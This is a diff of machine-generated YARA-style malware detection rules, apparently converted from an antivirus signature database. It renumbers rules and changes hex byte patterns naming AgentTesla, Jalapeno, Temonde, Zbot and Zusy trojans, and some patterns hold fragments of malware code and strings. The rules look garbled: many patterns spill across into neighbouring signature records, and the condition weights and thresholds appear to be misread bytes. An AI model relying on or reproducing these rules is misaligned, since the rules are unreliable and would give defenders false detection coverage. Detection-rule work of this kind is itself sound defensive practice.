"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -146852,7 +156719,7 @@ rule _InfrastructureShared_13074{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*26996+(#a_63_2 & 1)*18490+(#a_76_3 & 1)*29811) >=5 } -rule _InfrastructureShared_13075{ +rule _InfrastructureShared_13937{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -146865,7 +156732,7 @@ rule _InfrastructureShared_13075{ ((#a_4c_0 & 1)*21539+(#a_50_1 & 1)*20045+(#a_c1_2 & 1)*-57+(#a_6e_3 & 1)*29813) >=5 } -rule _InfrastructureShared_13076{ +rule _InfrastructureShared_13938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -146879,7 +156746,7 @@ rule _InfrastructureShared_13076{ ((#a_46_0 & 1)*16675+(#a_2c_1 & 1)*5342+(#a_00_2 & 1)*144+(#a_69_3 & 1)*18177+(#a_46_4 & 1)*16675) >=5 } -rule _InfrastructureShared_13077{ +rule _InfrastructureShared_13939{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -146893,7 +156760,7 @@ rule _InfrastructureShared_13077{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*12137+(#a_70_2 & 1)*28530+(#a_6d_3 & 1)*11876+(#a_52_4 & 1)*29541) >=5 } -rule _InfrastructureShared_13078{ +rule _InfrastructureShared_13940{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -146907,7 +156774,7 @@ rule _InfrastructureShared_13078{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*24948+(#a_52_2 & 1)*21320+(#a_72_3 & 1)*28531+(#a_52_4 & 1)*11890) >=5 } -rule _InfrastructureShared_13079{ +rule _InfrastructureShared_13941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -146921,7 +156788,7 @@ rule _InfrastructureShared_13079{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*25938+(#a_65_2 & 1)*24943+(#a_62_3 & 1)*26981+(#a_6f_4 & 1)*29561) >=5 } -rule _InfrastructureShared_13080{ +rule _InfrastructureShared_13942{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -146935,7 +156802,7 @@ rule _InfrastructureShared_13080{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25978+(#a_54_2 & 1)*18467+(#a_73_3 & 1)*28521+(#a_75_4 & 1)*12082) >=5 } -rule _InfrastructureShared_13081{ +rule _InfrastructureShared_13943{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -146949,7 +156816,7 @@ rule _InfrastructureShared_13081{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28521+(#a_75_2 & 1)*12082+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 } -rule _InfrastructureShared_13082{ +rule _InfrastructureShared_13944{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -146963,7 +156830,7 @@ rule _InfrastructureShared_13082{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*-32478+(#a_73_2 & 1)*28005+(#a_69_3 & 1)*24429+(#a_74_4 & 1)*20324) >=5 } -rule _InfrastructureShared_13083{ +rule _InfrastructureShared_13945{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -146979,7 +156846,7 @@ rule _InfrastructureShared_13083{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*30064+(#a_48_2 & 1)*12851+(#a_57_3 & 1)*15152+(#a_65_4 & 1)*29301+(#a_33_5 & 1)*19789+(#a_6d_6 & 1)*22629) >=5 } -rule _InfrastructureShared_13084{ +rule _InfrastructureShared_13946{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -146993,7 +156860,7 @@ rule _InfrastructureShared_13084{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*27507+(#a_3a_2 & 1)*24938+(#a_58_3 & 1)*385+(#a_61_4 & 1)*29541) >=6 } -rule _InfrastructureShared_13085{ +rule _InfrastructureShared_13947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -147008,7 +156875,7 @@ rule _InfrastructureShared_13085{ ((#a_54_0 & 1)*18467+(#a_77_1 & 1)*27241+(#a_6f_2 & 1)*21562+(#a_73_3 & 1)*25458+(#a_75_4 & 1)*25089+(#a_20_5 & 1)*25956) >=6 } -rule _InfrastructureShared_13086{ +rule _InfrastructureShared_13948{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -147023,7 +156890,7 @@ rule _InfrastructureShared_13086{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*26158+(#a_64_2 & 1)*28524+(#a_69_3 & 1)*25345+(#a_6d_4 & 1)*385+(#a_00_5 & 1)*28777) >=6 } -rule _InfrastructureShared_13087{ +rule _InfrastructureShared_13949{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -147038,7 +156905,7 @@ rule _InfrastructureShared_13087{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*27745+(#a_2f_2 & 1)*13166+(#a_61_3 & 1)*25960+(#a_00_4 & 1)*25966+(#a_47_5 & 1)*-32753) >=6 } -rule _InfrastructureShared_13088{ +rule _InfrastructureShared_13950{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -147053,7 +156920,7 @@ rule _InfrastructureShared_13088{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*25956+(#a_73_2 & 1)*31078+(#a_47_3 & 1)*-32749+(#a_6b_4 & 1)*26948+(#a_00_5 & 1)*29772) >=6 } -rule _InfrastructureShared_13089{ +rule _InfrastructureShared_13951{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -147069,7 +156936,7 @@ rule _InfrastructureShared_13089{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*22382+(#a_72_2 & 1)*14918+(#a_62_3 & 1)*29300+(#a_3a_4 & 1)*24938+(#a_01_5 & 1)*1536+(#a_61_6 & 1)*11569) >=6 } -rule _InfrastructureShared_13090{ +rule _InfrastructureShared_13952{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -147085,7 +156952,7 @@ rule _InfrastructureShared_13090{ ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*25189+(#a_4d_2 & 1)*28257+(#a_01_3 & 1)*4352+(#a_4c_4 & 1)*21325+(#a_73_5 & 1)*17005+(#a_54_6 & 1)*18467) >=7 } -rule _InfrastructureShared_13091{ +rule _InfrastructureShared_13953{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -147101,7 +156968,7 @@ rule _InfrastructureShared_13091{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25970+(#a_41_2 & 1)*19529+(#a_2d_3 & 1)*13409+(#a_65_4 & 1)*26994+(#a_54_5 & 1)*-32498+(#a_36_6 & 1)*29537) >=7 } -rule _InfrastructureShared_13092{ +rule _InfrastructureShared_13954{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -147116,7 +156983,7 @@ rule _InfrastructureShared_13092{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*29254+(#a_53_2 & 1)*14958+(#a_65_3 & 1)*31060+(#a_65_4 & 1)*16687+(#a_65_6 & 1)*17153) >=7 } -rule _InfrastructureShared_13093{ +rule _InfrastructureShared_13955{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -147132,7 +156999,7 @@ rule _InfrastructureShared_13093{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29295+(#a_67_2 & 1)*12108+(#a_4c_3 & 1)*26178+(#a_6e_4 & 1)*28021+(#a_7a_5 & 1)*-32755+(#a_69_6 & 1)*28257) >=7 } -rule _InfrastructureShared_13094{ +rule _InfrastructureShared_13956{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -147148,7 +157015,7 @@ rule _InfrastructureShared_13094{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*19540+(#a_65_2 & 1)*267+(#a_6f_3 & 1)*28013+(#a_00_4 & 1)*29285+(#a_64_5 & 1)*384+(#a_64_6 & 1)*28524) >=7 } -rule _InfrastructureShared_13095{ +rule _InfrastructureShared_13957{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -147163,7 +157030,7 @@ rule _InfrastructureShared_13095{ ((#a_41_0 & 1)*20515+(#a_2e_1 & 1)*31233+(#a_61_2 & 1)*29541+(#a_00_3 & 1)*47+(#a_41_5 & 1)*8448+(#a_65_6 & 1)*275) >=7 } -rule _InfrastructureShared_13096{ +rule _InfrastructureShared_13958{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -147179,7 +157046,7 @@ rule _InfrastructureShared_13096{ ((#a_4c_0 & 1)*21539+(#a_67_1 & 1)*27749+(#a_bd_2 & 1)*0+(#a_65_3 & 1)*1+(#a_00_4 & 1)*8+(#a_3a_5 & 1)*25455+(#a_75_6 & 1)*28496) >=7 } -rule _InfrastructureShared_13097{ +rule _InfrastructureShared_13959{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -147195,7 +157062,7 @@ rule _InfrastructureShared_13097{ ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*19456+(#a_50_3 & 1)*8448+(#a_75_4 & 1)*384+(#a_48_5 & 1)*20564+(#a_00_6 & 1)*27756+(#a_6c_7 & 1)*29441) >=8 } -rule _InfrastructureShared_13098{ +rule _InfrastructureShared_13960{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -147205,14 +157072,14 @@ rule _InfrastructureShared_13098{ $a_63_2 = {65 72 00 01 00 0b 01 6d 70 64 77 73 76 63 2e 65 78 65 01 00 0a 01 47 6f 6c 64 65 6e 42 69 74 73 01 00 0a 01 54 68 75 6d 62 70 72 69 6e 74 01 00 09 01 70 73 61 70 69 2e 64 6c 6c 01 00 0c 01 73 71 6c 73 65 72 76 72 2e 69 6e 69 01 00 09 01 45 4e 43 59 52 50 54 45 44 01 00 0b 01 64 62 67 68 65 6c 70 2e 64 } //26691 $a_00_3 = {0c } //27756 $a_53_4 = {53 50 6b 67 2e 72 6c 6c 01 00 13 01 6d 70 64 77 73 76 63 20 41 70 70 6c 69 63 61 74 69 6f 6e 01 00 0d 01 53 51 4c 44 55 4d 50 45 52 2e 45 58 45 00 00 78 bd 00 00 0c 00 0b 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 65 6d 6f 6e 64 65 2e 53 49 42 21 4d 54 42 00 01 00 12 03 42 75 69 } //22529 - $a_02_5 = {05 2e 90 02 0a 2e 6d 70 33 90 00 01 00 2f 03 77 69 7a 7a 6c 61 62 73 90 02 10 5c 43 61 73 74 6f 75 72 61 5c 43 61 73 74 6f 75 72 61 90 02 10 5c 42 75 69 6c 64 90 02 05 2e 70 64 62 90 00 0a 00 46 03 0b 16 0d 2b 90 01 01 00 06 09 6f 90 01 04 0c 08 03 61 d1 0c 07 08 6f 90 01 04 26 00 09 17 58 0d 09 02 6f 90 01 04 fe 04 13 90 01 01 11 90 1b 04 2d 90 01 01 07 6f 90 01 04 13 90 01 01 2b 00 11 90 1b 08 2a 90 00 00 00 78 bd 00 00 0d 00 } //25708 - $a_00_6 = {21 23 41 4c } //13 !#AL - $a_72_7 = {6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 49 4f 21 4d 54 42 00 0a 00 59 02 11 03 2a 00 73 90 01 03 0a 13 01 38 90 01 05 11 00 16 73 90 01 03 0a 73 90 01 03 0a 13 02 38 90 01 04 11 01 28 90 01 03 06 13 03 38 90 01 05 11 02 11 01 6f } //14918 + $a_02_5 = {05 2e 90 02 0a 2e 6d 70 33 90 00 01 00 2f 03 77 69 7a 7a 6c 61 62 73 90 02 10 5c 43 61 73 74 6f 75 72 61 5c 43 61 73 74 6f 75 72 61 90 02 10 5c 42 75 69 6c 64 90 02 05 2e 70 64 62 90 00 0a 00 46 03 0b 16 0d 2b 90 01 01 00 06 09 6f 90 01 04 0c 08 03 61 d1 0c 07 08 6f 90 01 04 26 00 09 17 58 0d 09 02 6f 90 01 04 fe 04 13 90 01 01 11 90 1b 04 2d 90 01 01 07 6f 90 01 04 13 90 01 01 2b 00 11 90 1b 08 2a 90 00 00 00 78 bd 00 00 0c 00 } //25708 + $a_00_6 = {21 23 54 } //12 !#T + $a_54_7 = {6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 5a 4e 57 21 4d 54 42 00 0a 00 67 03 06 20 00 01 00 00 6f 90 01 01 00 00 0a 06 20 a4 ce e9 e5 28 90 01 01 00 00 06 28 } //19525 condition: - ((#a_41_0 & 1)*20515+(#a_61_1 & 1)*21505+(#a_63_2 & 1)*26691+(#a_00_3 & 1)*27756+(#a_53_4 & 1)*22529+(#a_02_5 & 1)*25708+(#a_00_6 & 1)*13+(#a_72_7 & 1)*14918) >=8 + ((#a_41_0 & 1)*20515+(#a_61_1 & 1)*21505+(#a_63_2 & 1)*26691+(#a_00_3 & 1)*27756+(#a_53_4 & 1)*22529+(#a_02_5 & 1)*25708+(#a_00_6 & 1)*12+(#a_54_7 & 1)*19525) >=8 } -rule _InfrastructureShared_13099{ +rule _InfrastructureShared_13961{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -147221,29 +157088,39 @@ rule _InfrastructureShared_13099{ $a_68_1 = {6c 70 2e 64 6c 6c 01 00 0c 01 58 65 53 53 53 50 6b 67 2e 72 6c 6c 01 00 13 01 6d 70 64 77 73 76 63 20 41 70 70 6c 69 63 61 74 69 6f 6e 01 00 0d 01 53 51 4c 44 55 4d 50 45 52 2e 45 58 45 00 00 78 bd 00 00 0c 00 0b 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 65 6d 6f 6e 64 65 2e 53 49 42 } //25188 $a_42_2 = {01 00 12 03 42 75 69 6c 64 90 02 05 2e 90 02 0a 2e 6d 70 33 90 00 01 00 2f 03 77 69 7a 7a 6c 61 62 73 90 02 10 5c 43 61 73 74 6f 75 72 61 5c 43 61 73 74 6f 75 72 61 90 02 10 5c 42 75 69 6c 64 90 02 05 2e 70 64 62 90 00 0a 00 46 03 0b 16 0d 2b 90 01 01 } //19745 $a_6f_3 = {01 04 0c 08 03 61 d1 0c 07 } //1536 - $a_01_4 = {04 26 00 09 17 58 0d 09 02 6f 90 01 04 fe 04 13 90 01 01 11 90 1b 04 2d 90 01 01 07 6f 90 01 04 13 90 01 01 2b 00 11 90 1b 08 2a 90 00 00 00 78 bd 00 00 0d 00 0d 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 49 4f 21 4d 54 42 00 0a 00 59 02 11 03 2a 00 73 90 01 03 0a 13 01 38 90 01 05 11 00 16 73 90 01 03 0a 73 90 01 03 0a 13 02 38 90 01 04 11 01 28 90 01 03 06 13 03 38 90 01 } //28424 - $a_11_5 = {6f 90 } //4357 - $a_38_6 = {01 04 dd 90 01 04 11 02 39 90 } //769 - $a_90_7 = {04 11 02 28 90 01 03 06 38 90 01 04 dc 38 90 00 01 00 0d 81 01 43 6c 61 73 73 4c 69 62 72 61 72 79 31 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 09 } //1025 - $a_65_8 = {4d 65 74 68 6f 64 00 00 78 bd 00 00 0d 00 0d 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 46 41 21 4d 54 42 00 0a 00 5e 02 17 da 13 08 16 0b 2b 90 01 01 } //385 - $a_05_9 = {28 } //-28663 ( + $a_01_4 = {04 26 00 09 17 58 0d 09 02 6f 90 01 04 fe 04 13 90 01 01 11 90 1b 04 2d 90 01 01 07 6f 90 01 04 13 90 01 01 2b 00 11 90 1b 08 2a 90 00 00 00 78 bd 00 00 0c 00 0c 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 5a 4e 57 21 4d 54 42 00 0a 00 67 03 06 20 00 01 00 00 6f 90 01 01 00 00 0a 06 20 a4 ce e9 e5 28 90 01 01 00 00 06 28 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 06 20 99 ce e9 e5 28 90 } //28424 + $a_01_6 = {01 00 00 0a 6f 90 01 01 00 00 0a 06 06 6f 90 01 01 00 00 0a 06 6f 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 0b 02 73 90 01 01 00 00 0a 0c 90 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 bd 00 00 0d 00 0d 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 49 4f 21 4d 54 42 00 0a 00 59 02 11 03 2a 00 73 } //10246 + $a_0a_7 = {13 01 38 } //400 + $a_11_8 = {16 73 90 01 03 } //400 + $a_01_9 = {03 0a 13 02 38 90 01 04 11 01 28 90 01 03 06 13 03 38 90 01 05 11 02 11 01 6f 90 01 03 0a 38 90 01 04 dd 90 01 04 11 02 39 90 01 04 38 90 01 04 11 02 28 90 01 03 06 38 90 01 04 dc 38 90 00 01 00 0d 81 01 43 6c 61 73 73 4c 69 62 72 61 72 79 31 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 09 81 01 47 65 74 4d 65 74 68 6f 64 00 00 78 bd 00 00 0d 00 0d 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c } //29450 condition: - ((#a_6c_0 & 1)*16675+(#a_68_1 & 1)*25188+(#a_42_2 & 1)*19745+(#a_6f_3 & 1)*1536+(#a_01_4 & 1)*28424+(#a_11_5 & 1)*4357+(#a_38_6 & 1)*769+(#a_90_7 & 1)*1025+(#a_65_8 & 1)*385+(#a_05_9 & 1)*-28663) >=10 + ((#a_6c_0 & 1)*16675+(#a_68_1 & 1)*25188+(#a_42_2 & 1)*19745+(#a_6f_3 & 1)*1536+(#a_01_4 & 1)*28424+(#a_01_6 & 1)*10246+(#a_0a_7 & 1)*400+(#a_11_8 & 1)*400+(#a_01_9 & 1)*29450) >=10 } -rule _InfrastructureShared_13100{ +rule _InfrastructureShared_13962{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0b 00 03 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 65 6d 6f 6e 64 65 2e 53 49 42 21 4d 54 42 00 01 00 12 03 42 75 69 6c 64 90 02 05 2e 90 02 0a 2e 6d 70 33 90 00 01 00 2f 03 77 69 7a 7a 6c 61 62 73 90 02 10 5c 43 61 73 74 6f 75 72 61 5c 43 } //16675 - $a_6f_1 = {72 61 90 02 10 5c 42 75 69 6c 64 90 02 05 2e 70 64 62 90 00 0a 00 46 03 0b 16 0d 2b 90 01 01 00 06 09 6f 90 01 04 0c 08 03 61 d1 0c 07 08 6f 90 01 04 26 00 09 17 58 0d 09 02 6f 90 01 04 fe 04 13 90 01 01 11 90 1b 04 2d 90 01 01 07 6f 90 01 04 13 90 01 01 2b 00 11 90 1b 08 2a 90 00 00 00 78 bd 00 00 0d 00 0d 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a } //29537 - $a_4d_2 = {49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 49 4f 21 4d 54 42 00 0a 00 59 02 11 03 2a 00 73 90 01 03 0a 13 01 38 90 01 05 11 00 16 73 90 01 03 0a 73 90 01 03 0a 13 02 38 90 } //28257 + $a_6f_1 = {72 61 90 02 10 5c 42 75 69 6c 64 90 02 05 2e 70 64 62 90 00 0a 00 46 03 0b 16 0d 2b 90 01 01 00 06 09 6f 90 01 04 0c 08 03 61 d1 0c 07 08 6f 90 01 04 26 00 09 17 58 0d 09 02 6f 90 01 04 fe 04 13 90 01 01 11 90 1b 04 2d 90 01 01 07 6f 90 01 04 13 90 01 01 2b 00 11 90 1b 08 2a 90 00 00 00 78 bd 00 00 0c 00 0c 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a } //29537 + $a_4d_2 = {49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 5a 4e 57 21 4d 54 42 00 0a 00 67 03 06 20 00 01 00 00 6f 90 01 01 00 00 0a 06 20 a4 ce e9 e5 28 90 01 01 00 00 06 28 90 01 01 00 00 0a 6f } //28257 condition: ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29537+(#a_4d_2 & 1)*28257) >=11 } -rule _InfrastructureShared_13101{ +rule _InfrastructureShared_13963{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 5a 4e 57 21 4d 54 42 00 0a 00 67 03 06 20 00 01 00 00 6f 90 01 01 00 00 0a 06 20 a4 ce e9 e5 28 90 01 01 00 00 06 28 90 01 01 00 00 0a 6f 90 01 } //21539 + $a_ce_2 = {e5 28 90 01 01 00 00 06 28 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 06 06 6f 90 01 01 00 00 0a 06 6f 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 0b 02 73 90 01 01 00 00 0a 0c 90 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 bd 00 00 0d 00 0d 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 49 4f 21 4d 54 42 00 0a 00 59 02 11 03 2a } //8198 + condition: + ((#a_4c_0 & 1)*21539+(#a_ce_2 & 1)*8198) >=12 + +} +rule _InfrastructureShared_13964{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -147256,7 +157133,7 @@ rule _InfrastructureShared_13101{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*787+(#a_79_2 & 1)*24946+(#a_01_3 & 1)*-29690) >=13 } -rule _InfrastructureShared_13102{ +rule _InfrastructureShared_13965{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -147269,7 +157146,7 @@ rule _InfrastructureShared_13102{ ((#a_54_0 & 1)*18467+(#a_26_1 & 1)*400+(#a_05_2 & 1)*-28418+(#a_01_3 & 1)*11019) >=13 } -rule _InfrastructureShared_13103{ +rule _InfrastructureShared_13966{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 08 00 21 " @@ -147280,12 +157157,12 @@ rule _InfrastructureShared_13103{ $a_46_3 = {63 65 4c 69 67 68 74 2e 44 21 64 68 61 00 05 00 26 01 41 00 6c 00 6c 00 3a 00 25 00 64 00 4d 00 42 00 2c 00 41 00 76 00 61 00 69 00 6c 00 3a } //13366 $a_00_5 = {05 00 40 01 25 00 73 00 20 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 20 00 50 00 61 00 63 00 6b 00 20 00 25 00 64 00 2e 00 25 00 64 00 20 00 28 00 42 00 75 00 69 00 6c 00 64 00 20 00 25 00 64 00 } //77 $a_00_6 = {1d 01 54 72 61 } //41 - $a_65_7 = {20 46 69 6c 65 20 44 61 74 61 2c 20 73 72 63 3a 20 25 6c 6c 75 00 00 78 be 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 2e 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 43 32 33 21 4d 54 42 00 01 00 8f 02 33 d2 8b 8e 90 01 04 33 db 8b 86 90 01 04 2b c1 05 90 01 04 89 44 24 90 01 01 b8 90 01 04 } //29550 + $a_65_7 = {20 46 69 6c 65 20 44 61 74 61 2c 20 73 72 63 3a 20 25 6c 6c 75 00 00 78 bd 00 00 5a 00 5a 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 4d 52 21 4d 54 42 00 14 00 18 01 29 db 46 8a 18 83 e8 fe 03 df 03 d9 83 f1 01 d1 fb 88 1a 42 3b 75 f4 72 32 00 2d 01 29 db 8a 18 83 e8 } //29550 condition: ((#a_41_0 & 1)*20515+(#a_00_1 & 1)*28279+(#a_66_2 & 1)*384+(#a_46_3 & 1)*13366+(#a_00_5 & 1)*77+(#a_00_6 & 1)*41+(#a_65_7 & 1)*29550) >=13 } -rule _InfrastructureShared_13104{ +rule _InfrastructureShared_13967{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 03 00 21 " @@ -147296,7 +157173,19 @@ rule _InfrastructureShared_13104{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*320) >=15 } -rule _InfrastructureShared_13105{ +rule _InfrastructureShared_13968{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,5a 00 5a 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 4d 52 21 4d 54 42 00 14 00 18 01 29 db 46 8a 18 83 e8 fe 03 df 03 d9 83 f1 01 d1 fb 88 1a 42 3b 75 f4 72 32 00 2d 01 29 db 8a 18 83 e8 fe 03 df 0f b6 3a } //21539 + $a_b6_1 = {01 03 df 83 ea fe 03 de 83 f6 03 c1 fb 02 88 } //-8445 + $a_45_2 = {8b 5d f4 3b 5d f0 72 cf 14 00 45 03 0f b6 3e 03 df 0f b6 7e 02 03 df 83 ee fe 01 5d e4 8b 5d e8 8b 7d e4 0f af 7d dc 0f af 5d e0 03 df 89 5d e8 8b 5d e8 8b 7d ec 81 c3 00 80 00 00 c1 fb 10 88 1f ff 90 01 02 8b 5d f0 83 eb 02 89 5d f4 83 90 00 00 00 78 be 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 2e 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 43 32 33 21 4d 54 42 00 01 00 8f 02 33 d2 8b 8e 90 01 04 33 db 8b 86 90 01 04 2b c1 05 90 01 04 89 44 24 90 01 01 b8 90 01 04 2b c2 89 44 24 90 01 01 8b 86 90 01 04 2b c1 74 90 01 01 8b 6c 24 90 1b 03 8b 4c 24 90 1b 05 0f b6 04 2b 89 44 24 90 1b 03 85 d2 75 90 01 01 a1 90 01 04 8b cb 23 cf 0f b6 04 01 03 44 24 90 1b 03 8b 4c 24 90 1b 05 0f b6 c0 8a 80 90 01 04 03 c3 03 c1 88 04 2b 43 8b 86 90 1b 06 2b } //16665 + condition: + ((#a_4c_0 & 1)*21539+(#a_b6_1 & 1)*-8445+(#a_45_2 & 1)*16665) >=90 + +} +rule _InfrastructureShared_13969{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -147306,7 +157195,7 @@ rule _InfrastructureShared_13105{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_13106{ +rule _InfrastructureShared_13970{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -147316,7 +157205,7 @@ rule _InfrastructureShared_13106{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_13107{ +rule _InfrastructureShared_13971{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -147326,7 +157215,7 @@ rule _InfrastructureShared_13107{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_13108{ +rule _InfrastructureShared_13972{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -147336,7 +157225,7 @@ rule _InfrastructureShared_13108{ ((#a_6c_0 & 1)*21539) >=1 } -rule 